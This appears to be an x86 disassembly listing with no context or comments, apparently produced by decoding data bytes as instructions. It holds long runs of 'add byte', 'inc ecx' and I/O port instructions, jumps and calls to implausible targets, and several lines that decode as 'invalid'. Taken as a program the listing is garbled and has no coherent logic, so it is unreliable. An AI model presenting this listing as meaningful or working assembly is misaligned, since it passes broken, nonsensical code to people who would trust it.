mul ecx
inc ecx
add byte [esi + ebx*8 - 0x2039ffbf], ch
fild word [ecx]
shl cl, cl
inc ecx
fild word [ecx]
shl cl, cl
inc ecx
add al, al
loopne 0x43ec3c
add bh, dh
fild word [ecx]
shl al, 0x41
loopne 4451396
loopne 0x43ec44
add byte [ebx - 0x4cffbe20], ch
loopne 0x43ec4c
add al, al
loopne 0x43ec50
add byte [esi - 0x1f], bl
inc ecx
loope 0x43ec54
add al, al
loope 0x43ec58
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx - 0x1f], ch
inc ecx
add byte [eax - 0x7fffbe1f], al
loope 0x43ec70
add byte [eax - 0x7dffbe1f], al
loope 0x43ec78
add byte [edx - 0x73ffbe1f], al
loope 0x43ec7c
add byte [ecx - 0x1e6fffbf], cl
inc ecx
mov ecx, fs
inc ecx
add byte [eax - 0x2fffbe1f], dl
nop
loope 4451456
add al, dl
loope 0x43ec84
add al, dl
loope 0x43ec88
shl cl, 1
inc ecx
add dl, dl
loope 0x43ec8c
add al, dl
loope 0x43ec90
shl cl, 1
inc ecx
add cl, ah
loope 0x43ec94
loope 0x43ec33
inc ecx
add byte [eax - 0x8ffbe22], dl
loope 0x43ec9c
nop
fiadd word [ecx]
mul ecx
inc ecx
add byte [ebp - 0x8ffbe22], ah
loope 0x43eca4
add byte [ebp + 0x50041de], ah
loop 0x43ecac
add byte [ecx], ch
loop 0x43ecb0
add byte [ebx], bh
cmp al, 0xe3
inc ecx
add byte [ebp - 0x1d], al
inc ecx
add byte [eax - 0x1d], dl
inc ecx
push eax
jecxz 4451516
add byte [eax - 0x1d], dl
inc ecx
push eax
jecxz 4451520
add byte [eax - 0x1d], dl
push eax
jecxz 4451524
inc ecx
add byte [edx - 0x1d], dl
inc ecx
push edx
jecxz 4451528
add byte [esp], cl
or al, 0xe4
inc ecx
add byte [edx - 0x1d], ah
inc ecx
add byte [edi], ch
invalid
das
in al, 0x41
add byte [ebx - 0x1c], bl
inc ecx
pop ebx
in al, 65
add byte [edi], al
out 0x41, al
add byte [esi - 0x1c], bh
jle 0x43ec82
inc ecx
add al, ah
in eax, 0x41
add byte [ebp - 0x40ffbe1c], dh
in eax, 0x41
mov ch, 0xe4
inc ecx
add byte [edi + 0x190041e5], bh
add byte [ecx], bl
sbb ebp, esp
in eax, 0x41
inc ecx
add byte [edi + 0x2c0041e5], bh
mov edi, 0x2c0041e5
invalid
jns 0x43ecae
inc ecx
add cl, cl
leave
in eax, 0x41
add al, ah
in eax, 0x41
loopne 0x43ecab
inc ecx
add al, dh
in eax, 0x41
add al, dh
in eax, 0x41
add dl, dh
in eax, 0x41
add al, dh
in eax, 0x41
add al, bh
in eax, 0x41
add byte [edi], al
out 0x41, al
add byte [ecx], bh
in al, 0x41
add byte [esi - 0x4bffbe1a], ah
out 0x41, al
add byte [eax - 0x1c], dl
inc ecx
add cl, dl
call 0xea54ed37
inc ecx
add byte [ebx], bh
out dx, eax
inc ecx
add byte [edi], bh
ljmp 0x41
invalid